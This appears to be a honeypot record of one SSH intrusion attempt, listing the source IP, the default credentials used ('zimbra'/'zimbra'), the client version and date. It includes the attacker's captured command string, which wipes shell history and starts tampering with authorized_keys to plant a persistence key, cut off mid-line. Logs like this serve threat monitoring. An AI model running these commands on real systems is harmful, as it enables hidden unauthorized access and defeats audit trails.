Details

ID	67a5d4a2-4eac-484c-8b4b-3031c5b5227d
Attack Type	ssh
IP Address	51.68.230.54
Username	zimbra
Password	zimbra
Client Version	SSH-2.0-libssh2_1.2.8
Country	France
Date	2019-10-27 06:29AM

Commands

uname -a;unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG WATCH;history -n;export HISTFILE=/dev/null;export HISTSIZE=0;export HISTFILESIZE=0;cd;mkdir .ssh;cat .ssh/authorized_keys|grep -v 'heVAZUWSKHausOwb+Rem+eKhkrKvoeteq

Proxy Requests

	IP Address	User / Pass	Date	Headers	URL